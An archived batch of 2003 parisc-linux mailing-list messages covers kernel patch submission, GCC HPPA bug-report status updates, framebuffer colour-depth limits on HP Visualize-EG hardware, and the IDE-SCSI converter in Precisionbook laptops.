Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc-linux.org kernel
Date: Wed, 16 Apr 2003 17:50:48 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20030416165048.GC1505@parcelfarce.linux.theplanet.co.uk>
References: <3E9BA3A600000DC1@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622395 24779 80.91.229.3 (22 Nov 2014 02:13:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:15 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 16 10:50:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2E63C4856
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Apr 2003 10:50:50 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 195q7U-00041h-DS; Wed, 16 Apr 2003 17:50:48 +0100
Content-Disposition: inline
In-Reply-To: <3E9BA3A600000DC1@ocpmta2.freegates.net>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18286

On Wed, Apr 16, 2003 at 06:44:11PM +0200, Joel Soete wrote:
> Well I already create:
> a chunck containing debian-configs (I call it 00_parisc_debian-configs.patch)
> [about 140k] (would it be submited?)

No, I don't think this should be submitted.  No other architecture does this.

> another chunk containing all parisc specific (named 01_parisc.patch) containing
> arch/parisc, include/asm-parisc and another noticed "parisc specific" [about
> 160k]

sounds good.  be sure this applies to alan's/marcelo's tree as they've
taken updates since 2.4.20 was released.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: danglin@gcc.gnu.org
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: target/10271: [3.2/3.3/3.4 regression] [HPPA] Floating point args don't get reloaded across function calls at -O2
Date: 16 Apr 2003 17:51:45 -0000
Lines: 11
Approved: news@gmane.org
Message-ID: <20030416175145.5861.qmail__39742.8589327776$1416622396$gmane$org@sources.redhat.com>
Reply-To: danglin@gcc.gnu.org, danglin@gcc.gnu.org,
	gcc-bugs@gcc.gnu.org, gcc-prs@gcc.gnu.org,
	parisc-linux@lists.parisc-linux.org, tausq@debian.org,
	gcc-gnats@gcc.gnu.org
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622396 24781 80.91.229.3 (22 Nov 2014 02:13:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:16 +0000 (UTC)
To: danglin@gcc.gnu.org, gcc-bugs@gcc.gnu.org, gcc-prs@gcc.gnu.org,
	parisc-linux@lists.parisc-linux.org, tausq@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 16 11:51:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sources.redhat.com (sources.redhat.com [66.187.233.205])
	by dsl2.external.hp.com (Postfix) with SMTP id CDC554829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Apr 2003 11:51:46 -0600 (MDT)
Original-Received: (qmail 5862 invoked by uid 48); 16 Apr 2003 17:51:45 -0000
X-Mailer: gnatsweb 2.9.3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18287

Synopsis: [3.2/3.3/3.4 regression] [HPPA] Floating point args don't get reloaded across function calls at -O2

State-Changed-From-To: analyzed->closed
State-Changed-By: danglin
State-Changed-When: Wed Apr 16 17:51:45 2003
State-Changed-Why:
    Fixed.
    <http://gcc.gnu.org/ml/gcc-patches/2003-04/msg01236.html>.

http://gcc.gnu.org/cgi-bin/gnatsweb.pl?cmd=view%20audit-trail&database=gcc&pr=10271


From - Thu Nov 08 21:27:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: tsbogend@alpha.franken.de (Thomas Bogendoerfer)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] STI fb questions
Date: Wed, 16 Apr 2003 19:52:23 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <20030416175223.GB4982@solo.franken.de>
References: <Pine.LNX.4.44.0304161319540.28370-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622396 24784 80.91.229.3 (22 Nov 2014 02:13:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 16 11:53:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from elvis.franken.de (elvis.franken.de [193.175.24.41])
	by dsl2.external.hp.com (Postfix) with ESMTP id D6A9E4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Apr 2003 11:53:34 -0600 (MDT)
Original-Received: from uucp by elvis.franken.de with local-rmail (Exim 3.36 #1)
	id 195r6D-0003II-00; Wed, 16 Apr 2003 19:53:33 +0200
Original-Received: by solo.franken.de (Postfix, from userid 1000)
	id 01E4227C8C; Wed, 16 Apr 2003 19:52:23 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.44.0304161319540.28370-100000@sal.ucc.ie>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18288

On Wed, Apr 16, 2003 at 01:28:43PM +0100, M. Grabert wrote:
> My Precisionbook obviously has a Visualize-EG with just 2MB.
> So it should be able to display at least 800x600 in 24/32bit and
> 1024x768 in 16bit, but it refuses to do so. 'dmesg' ALWAYS shows
> only 8bit colour depth regardless of the display resolution.

Visualize-EG is 8 bit only. That's a hardware limitation.

> My question is know, does STIfb also supports 16bit? How can I force
> 16bit and 24/32bit colour depths? What does sti=8/24 exactly mean?

stifb supports 32bit, if the hardware supports it. sti=8/24 is the
hardware path taken from PDC.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]


From - Thu Nov 08 21:27:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] color recovery
Date: Wed, 16 Apr 2003 18:59:02 +0100 (IST)
Lines: 27
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0304161854341.28370-100000@sal.ucc.ie>
References: <20030416175223.GB4982@solo.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622396 24788 80.91.229.3 (22 Nov 2014 02:13:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 16 11:59:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 51A354829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Apr 2003 11:59:05 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id h3GHx4611487;
	Wed, 16 Apr 2003 18:59:04 +0100
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <20030416175223.GB4982@solo.franken.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18289

On Wed, 16 Apr 2003, Thomas Bogendoerfer wrote:

> On Wed, Apr 16, 2003 at 01:28:43PM +0100, M. Grabert wrote:
> > My Precisionbook obviously has a Visualize-EG with just 2MB.
> > So it should be able to display at least 800x600 in 24/32bit and
> > 1024x768 in 16bit, but it refuses to do so. 'dmesg' ALWAYS shows
> > only 8bit colour depth regardless of the display resolution.
>
> Visualize-EG is 8 bit only. That's a hardware limitation.

The manual says something different/strange ... the LCD actually supports
16M colours, and so does the Visualize-EG (HP Graphitti).

... together with the fact that it just has 2MB onboard there is only
one possibility: they are referring to HP's color recovery technique.

Is there ANY way that color recovery will be supported anytime in the future?

> > My question is know, does STIfb also supports 16bit? How can I force
> > 16bit and 24/32bit colour depths? What does sti=8/24 exactly mean?
>
> stifb supports 32bit, if the hardware supports it. sti=8/24 is the
> hardware path taken from PDC.

Thanks, Max



From - Thu Nov 08 21:27:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: danglin@gcc.gnu.org
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: c++/10235: [3.3 regression] [HPPA] internal compiler error: in final_scan_insn, at final.c:2099
Followup-To: gmane.linux.debian.devel.gcc
Date: 16 Apr 2003 20:02:05 -0000
Lines: 12
Approved: news@gmane.org
Message-ID: <20030416200205.15155.qmail__46644.253555178$1416622397$gmane$org@sources.redhat.com>
Reply-To: danglin@gcc.gnu.org, debian-gcc@lists.debian.org,
	gcc-bugs@gcc.gnu.org, gcc-prs@gcc.gnu.org, nobody@gcc.gnu.org,
	parisc-linux@lists.parisc-linux.org, tausq@debian.org,
	gcc-gnats@gcc.gnu.org
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622397 24789 80.91.229.3 (22 Nov 2014 02:13:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:17 +0000 (UTC)
To: debian-gcc@lists.debian.org, gcc-bugs@gcc.gnu.org,
	gcc-prs@gcc.gnu.org, nobody@gcc.gnu.org,
	parisc-linux@lists.parisc-linux.org, tausq@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 16 14:02:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sources.redhat.com (sources.redhat.com [66.187.233.205])
	by dsl2.external.hp.com (Postfix) with SMTP id 86C9F4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Apr 2003 14:02:06 -0600 (MDT)
Original-Received: (qmail 15157 invoked by uid 48); 16 Apr 2003 20:02:05 -0000
X-Mailer: gnatsweb 2.9.3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18290

Synopsis: [3.3 regression] [HPPA] internal compiler error: in final_scan_insn, at final.c:2099

State-Changed-From-To: open->feedback
State-Changed-By: danglin
State-Changed-When: Wed Apr 16 20:02:05 2003
State-Changed-Why:
    I can't duplicate.  The file compiles and assembles
    successfully with 3.3 20030416.  Do you still see
    the problem?

http://gcc.gnu.org/cgi-bin/gnatsweb.pl?cmd=view%20audit-trail&database=gcc&pr=10235


From - Thu Nov 08 21:27:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@goquest.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] color recovery
Date: Wed, 16 Apr 2003 16:33:26 -0500
Lines: 33
Approved: news@gmane.org
Message-ID: <03041616332600.03921@wolf686>
References: <Pine.LNX.4.44.0304161854341.28370-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622397 24794 80.91.229.3 (22 Nov 2014 02:13:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>,
	Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 16 15:39:43 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.goquest.com (ns1.goquest.com [12.18.108.6])
	by dsl2.external.hp.com (Postfix) with SMTP id C92454829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Apr 2003 15:39:42 -0600 (MDT)
Original-Received: (qmail 28921 invoked by uid 0); 16 Apr 2003 21:39:30 -0000
Original-Received: from mszick@goquest.com by mail.goquest.com by uid 502 with qmail-scanner-1.15 
 (spamassassin: 2.31.  Clear:. 
 Processed in 1.030274 secs); 16 Apr 2003 21:39:30 -0000
Original-Received: from unknown (HELO wolf686) (66.90.218.199)
  by mail.goquest.com with SMTP; 16 Apr 2003 21:39:29 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <Pine.LNX.4.44.0304161854341.28370-100000@sal.ucc.ie>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18291

On Wednesday 16 April 2003 12:59 pm, M. Grabert wrote:
> On Wed, 16 Apr 2003, Thomas Bogendoerfer wrote:
> > On Wed, Apr 16, 2003 at 01:28:43PM +0100, M. Grabert wrote:
> > > My Precisionbook obviously has a Visualize-EG with just 2MB.
> > > So it should be able to display at least 800x600 in 24/32bit and
> > > 1024x768 in 16bit, but it refuses to do so. 'dmesg' ALWAYS shows
> > > only 8bit colour depth regardless of the display resolution.
> >
> > Visualize-EG is 8 bit only. That's a hardware limitation.
>
> The manual says something different/strange ... the LCD actually supports
> 16M colours, and so does the Visualize-EG (HP Graphitti).
>
> ... together with the fact that it just has 2MB onboard there is only
> one possibility: they are referring to HP's color recovery technique.

Yup.
>
> Is there ANY way that color recovery will be supported anytime in the
> future?

There has been a lot of mails on this list on this subject;
sorry that I don't have the pointers handy, but...

A search of the FAQ and the mailing list archive should lead you to
how others have dealt with this problem - including getting 8-bit X
to work on the machines.

Also, somewhere on the site(s) are some special X config files.
It isn't hopeless, just not pretty.

Mike


From - Thu Nov 08 21:27:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Presicionbook success
Date: Wed, 16 Apr 2003 18:18:26 -0700 (PDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <200304170118.h3H1IR011309@opus.allegro.com>
References: <1050504092.28591.97.camel@dhcp22.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622397 24805 80.91.229.3 (22 Nov 2014 02:13:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:17 +0000 (UTC)
Cc: xam@cs.ucc.ie (M. Grabert),
	c.beerse@torex-hiscom.nl ("\"Beerse," =?ISO-8859-1?Q?Corn=E9=22?=),
	willy@debian.org (Matthew Wilcox),
	ghub005@xtra.co.nz (Gavin Hubbard),
	parisc-linux@lists.parisc-linux.org
To: alan@lxorguk.ukuu.org.uk (Alan Cox)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 16 19:18:44 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from opus.allegro.com (opus.allegro.com [209.10.39.50])
	by dsl2.external.hp.com (Postfix) with ESMTP id E5F444829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Apr 2003 19:18:43 -0600 (MDT)
Original-Received: (from sieler@localhost)
	by opus.allegro.com (8.11.6/8.11.6) id h3H1IR011309;
	Wed, 16 Apr 2003 18:18:27 -0700
In-Reply-To: <1050504092.28591.97.camel@dhcp22.swansea.linux.org.uk> from "Alan Cox" at Apr 16, 2003 03:41:33 PM
X-Mailer: ELM [version 2.5 PL6]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18292

Re:

> > The hard disks are removeable, but there is no obvious IDE-SCSI bridge
> > visible. It is build-in inside the laptop (i.e. non-removeable), and it's
...

> That means the system either has seperate IDE and SCSI controllers or
> has an IDE controller and an IDE_SCSI bridge for scsi disk. I suspect

The IDE to SCSI converter is a small board inside the "cartridge" 
(or "case") that forms the removable hard drive.   If you remove a hard
drive, and then open its case up, you'll see the converter board clearly.

It is indeed highly similar to the Acard SCSIIDE product (although possibly
from a different vendor).  

BTW, I would not expect either disk to show up as IDE at all.

-- 
Stan Sieler                                           sieler@allegro.com
www.allegro.com/sieler/wanted/index.html                  www.sieler.com


From - Thu Nov 08 21:27:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: doko@gcc.gnu.org
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: c++/10235: [3.3 regression] [HPPA] internal compiler error: in final_scan_insn, at final.c:2099
Followup-To: gmane.linux.debian.devel.gcc
Date: 17 Apr 2003 05:57:39 -0000
Lines: 10
Approved: news@gmane.org
Message-ID: <20030417055739.19189.qmail__1294.49316668815$1416622397$gmane$org@sources.redhat.com>
Reply-To: doko@gcc.gnu.org, debian-gcc@lists.debian.org,
	gcc-bugs@gcc.gnu.org, gcc-prs@gcc.gnu.org, nobody@gcc.gnu.org,
	parisc-linux@lists.parisc-linux.org, tausq@debian.org,
	gcc-gnats@gcc.gnu.org
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622397 24810 80.91.229.3 (22 Nov 2014 02:13:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:17 +0000 (UTC)
To: debian-gcc@lists.debian.org, gcc-bugs@gcc.gnu.org,
	gcc-prs@gcc.gnu.org, nobody@gcc.gnu.org,
	parisc-linux@lists.parisc-linux.org, tausq@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 16 23:57:41 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sources.redhat.com (sources.redhat.com [66.187.233.205])
	by dsl2.external.hp.com (Postfix) with SMTP id F34054829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 16 Apr 2003 23:57:40 -0600 (MDT)
Original-Received: (qmail 19190 invoked by uid 48); 17 Apr 2003 05:57:39 -0000
X-Mailer: gnatsweb 2.9.3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18293

Synopsis: [3.3 regression] [HPPA] internal compiler error: in final_scan_insn, at final.c:2099

State-Changed-From-To: feedback->closed
State-Changed-By: doko
State-Changed-When: Thu Apr 17 05:57:39 2003
State-Changed-Why:
    sucessfully built as well with 3.3 20030412 (current Debian package)

http://gcc.gnu.org/cgi-bin/gnatsweb.pl?cmd=view%20audit-trail&database=gcc&pr=10235


From - Thu Nov 08 21:27:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: c++/10235: [3.3 regression] [HPPA] internal compiler error: in final_scan_insn, at final.c:2099
Date: Wed, 16 Apr 2003 23:19:58 -0700
Lines: 43
Approved: news@gmane.org
Message-ID: <20030417061958.GU25257__32249.1742474542$1416622398$gmane$org@tausq.org>
References: <20030417055739.19189.qmail@sources.redhat.com>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622398 24813 80.91.229.3 (22 Nov 2014 02:13:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:18 +0000 (UTC)
To: doko@gcc.gnu.org, debian-gcc@lists.debian.org,
	gcc-bugs@gcc.gnu.org, gcc-prs@gcc.gnu.org, nobody@gcc.gnu.org,
	parisc-linux@lists.parisc-linux.org, gcc-gnats@gcc.gnu.org,
	danglin@gcc.gnu.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 17 00:24:19 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id DE6724829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 17 Apr 2003 00:24:18 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 74F4DCD295; Wed, 16 Apr 2003 23:19:58 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20030417055739.19189.qmail@sources.redhat.com>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18294

